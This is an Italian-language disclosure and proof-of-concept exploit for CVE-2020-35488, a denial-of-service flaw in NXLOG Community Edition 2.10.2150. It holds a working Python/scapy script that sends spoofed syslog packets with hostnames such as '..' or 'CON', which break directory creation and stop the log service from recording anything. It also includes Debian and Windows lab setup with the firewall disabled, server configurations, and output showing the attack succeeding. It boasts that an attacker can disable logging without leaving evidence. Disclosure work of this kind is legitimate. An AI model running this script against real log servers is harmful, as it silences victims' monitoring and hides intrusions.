
Exploit proof-of-concept per CVE-2020-35488, una vulnerabilità denial-of-service in NXLOG Community Edition tramite payload syslog appositamente predisposti che causano errori di creazione di directory.
Ho trovato una vulnerabilità nel prodotto: nxlog-ce_2.10.2150.
Ho testato la mia PoC solo su Linux (Debian 10) e Windows (Windows Server 2016).
Ambito : NXLOG Community Edition 2.10.2150
Tipo di bug : CWE-502, Deserializzazione di dati non attendibili https://cwe.mitre.org/data/definitions/502.html
Parte vulnerabile : Payload Syslog
Payload :
IL MIO CALCOLO CVSS :
Vettore di attacco : Network
Privilegi richiesti : None
Ambito : Unchanged
Integrità : None
Complessità di attacco : Low
Interazione dell'utente : None
Riservatezza : None
Disponibilità : High
PUNTEGGIO CVSS : 7.5
GRAVITÀ : HIGH
CALCOLO CVSS DA NIST : Link : https://nvd.nist.gov/vuln/detail/CVE-2020-35488
Vettore di attacco :
Privilegi richiesti :
Ambito :
Integrità :
Complessità di attacco :
Interazione dell'utente :
Riservatezza :
Disponibilità :
PUNTEGGIO CVSS (3.X) : 7.5
GRAVITÀ : HIGH
Questa vulnerabilità può causare un DoS del server NXLOG.
Tuttavia il server deve avere una configurazione specifica: il file di configurazione di nxlog deve definire la creazione di una directory basata su un campo di una parte del payload Syslog.
Il software tenta di creare una directory, ma il nome di questa directory non può essere creato sul file system.
Poiché il nome di questa directory è proibito.
Ecco un esempio di nome di directory impossibile da creare:
Quindi, se il file di configurazione è impostato per creare un nome di directory a partire dal payload Syslog, un attaccante può spegnere il servizio Nxlog.
Per sfruttare questa vulnerabilità ho creato uno script Python:
#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3
import sys
import time
import argparse
from scapy.all import *
def getPayload(args):
# IF UNIX
if (args.OS == 1):
return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
# IF WINDOWS
elif (args.OS == 2):
return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"
# Test
elif (args.OS == 3):
return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"
def runExploit(args,payload):
priority = 30
message = payload
syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
send(syslog,verbose=args.DEBUG)
def getArguments():
parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
return parser.parse_args()
def main():
args = getArguments()
payload = getPayload(args)
runExploit(args,payload)
main()
Installa il servizio Nxlog su Debian 10:
apt-get install libapr1 libdbi1 libssl1.1 multiarch-support
cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb
dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb
File di configurazione del servizio nxlog:
cat /etc/nxlog/nxlog.conf
########################################
# Global directives #
########################################
User nxlog
Group nxlog
LogFile /var/log/nxlog/nxlog.log
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog_bsd();
</Input>
<Output file>
Module om_file
CreateDir True
File "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
Avvia il servizio Nxlog:
systemctl start nxlog
systemctl status nxlog
Risultato:
● nxlog.service - LSB: logging daemon
Loaded: loaded (/etc/init.d/nxlog; generated)
Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
Docs: man:systemd-sysv-generator(8)
Tasks: 7 (limit: 2330)
Memory: 1.7M
CGroup: /system.slice/nxlog.service
└─1323 /usr/bin/nxlog
nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.
Verifica:
lsof -i :514
Risultato:
nxlog 1323 nxlog 18u IPv4 21321 0t0 UDP localhost:syslog
nxlog 1323 nxlog 19u IPv4 21324 0t0 TCP localhost:shell (LISTEN)
Ok, ottimo!
Con il mio script Python posso semplicemente inviare un messaggio Syslog per testare se il servizio Nxlog crea una directory.
Il nome della directory si basa sul campo HOSTNAME del payload Syslog. (Vedi file di configurazione)
Quindi:
./syslog-exploit.py -ip 192.168.1.55 -os 3
La terza opzione specifica l'hostname 123soleil nel payload Syslog.
Quindi:
ls /var/log/nxlog
123soleil nxlog.log
cat /var/log/nxlog/123soleil/123soleil.log
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden
Ok, il server Nxlog e il client Syslog funzionano!
Ora, se specifico un hostname con un nome proibito:
./syslog-exploit.py -ip 192.168.1.55 -os 1
Nel log interno di Nxlog:
cat /var/log/nxlog/nxlog.log
Risultato:
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied
Tutti i nuovi log inviati dai client Syslog non verranno più scritti sul file system.
Il servizio nxlog si trova infatti in uno stato indefinito perché tenta di creare una directory che non può essere creata.
Per illustrare, se provo a inviare un nuovo payload Syslog al server, ottengo questo log nel log interno:
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied
2020-11-29 18:18:38 ERROR last message repeated 3 times
Ho testato questo exploit con tutti i metodi disponibili:
E con tutti i metodi l'exploit funziona!
Fonti:
Link di installazione: https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.msi
File di configurazione di Nxlog:
########################################
# Global directives #
########################################
define ROOT C:\Program Files (x86)\nxlog
define CERTDIR %ROOT%\cert
define CONFDIR %ROOT%\conf
define LOGDIR %ROOT%\data
define LOGFILE %LOGDIR%\nxlog.log
LogFile %LOGFILE%
Moduledir %ROOT%\modules
CacheDir %ROOT%\data
Pidfile %ROOT%\data\nxlog.pid
SpoolDir %ROOT%\data
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog();
</Input>
<Output file>
Module om_file
CreateDir TRUE
File '%LOGDIR%' + '\' + $Hostname + '\' + $Hostname + '.log'
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
Avvia il servizio Nxlog:
Start-Service -Name "nxlog"
Get-Service -Name "nxlog"
Risultato:
Status Name DisplayName
------ ---- -----------
Running nxlog nxlog
Verifica:
netstat -an | Select-String "514"
Risultato:
UDP 0.0.0.0:514 *:*
Ok, ottimo!
Disattiva Windows Firewall, perché non voglio creare una regola del firewall...:
Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
Con il mio script Python posso semplicemente inviare un messaggio Syslog per testare se il servizio Nxlog crea una directory.
Il nome della directory si basa sul campo HOSTNAME del payload Syslog. (Vedi file di configurazione)
Quindi:
./syslog-exploit.py -ip 192.168.1.54 -os 3
La directory e il log vengono creati:
ls "C:\Program Files (x86)\nxlog\data\"
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 29/11/2020 19:31 123soleil
-a---- 29/11/2020 19:52 257 nxlog.log
ls "C:\Program Files (x86)\nxlog\data\123soleil"
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 29/11/2020 19:31 75 123soleil.log
cat "C:\Program Files (x86)\nxlog\data\123soleil\123soleil.log"
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden
Ora, se specifico un hostname con un nome proibito:
./syslog-exploit.py -ip 192.168.1.54 -os 2
Nel log interno di Nxlog:
cat 'C:\Program Files (x86)\nxlog\data\nxlog.log'
Risultato:
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.
Tutti i nuovi log inviati dai client Syslog non verranno più scritti sul file system.
Il servizio nxlog si trova infatti in uno stato indefinito perché tenta di creare una directory che non può essere creata.
Per illustrare, se provo a inviare un nuovo payload Syslog al server, ottengo questo log nel log interno:
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.
2020-11-29 19:52:48 ERROR last message repeated 3 times
Ho testato questo exploit con tutti i metodi disponibili:
E con tutti i metodi l'exploit funziona!
Fonte:
Un hacker può spegnere il servizio Nxlog e attaccare l'infrastruttura IT senza lasciare alcuna prova dell'attacco.
Ho trovato il codice sorgente di NXLOG 2.10.2150 sul vostro sito web: https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.tar.gz
E ho identificato questo metodo in om_file.c :
static void om_file_create_dir(nx_module_t *module, const char *filename)
{
char pathname[APR_PATH_MAX + 1];
char *idx;
apr_pool_t *pool;
ASSERT(filename != NULL);
idx = strrchr(filename, '/');
#ifdef WIN32
if ( idx == NULL )
{
idx = strrchr(filename, '\\');
}
#endif
if ( idx == NULL )
{
log_debug("no directory in filename, cannot create");
return;
}
pool = nx_pool_create_child(module->pool);
ASSERT(sizeof(pathname) >= (size_t) (idx - filename + 1));
apr_cpystrn(pathname, filename, (size_t) (idx - filename + 1));
CHECKERR_MSG(apr_dir_make_recursive(pathname, APR_OS_DEFAULT, pool),
"CreateDir is TRUE but couldn't create directory: %s", pathname);
log_debug("directory '%s' created", pathname);
apr_pool_destroy(pool);
}
È necessario aggiungere in om_file_create_dir un controllo sul nome della directory. Risorsa:
Si utilizza la funzione apr_dir_make_recursive per creare la directory; questa funzione è inclusa in Apache Portable Runtime. APR
Controllate la versione che utilizzate nel vostro binario.
Verificate che la PoC pubblica non consenta un altro exploit (es. RCE).
Riferimenti:
Non utilizzare queste funzionalità finché Nxlog non avrà distribuito una patch ufficiale per le versioni community.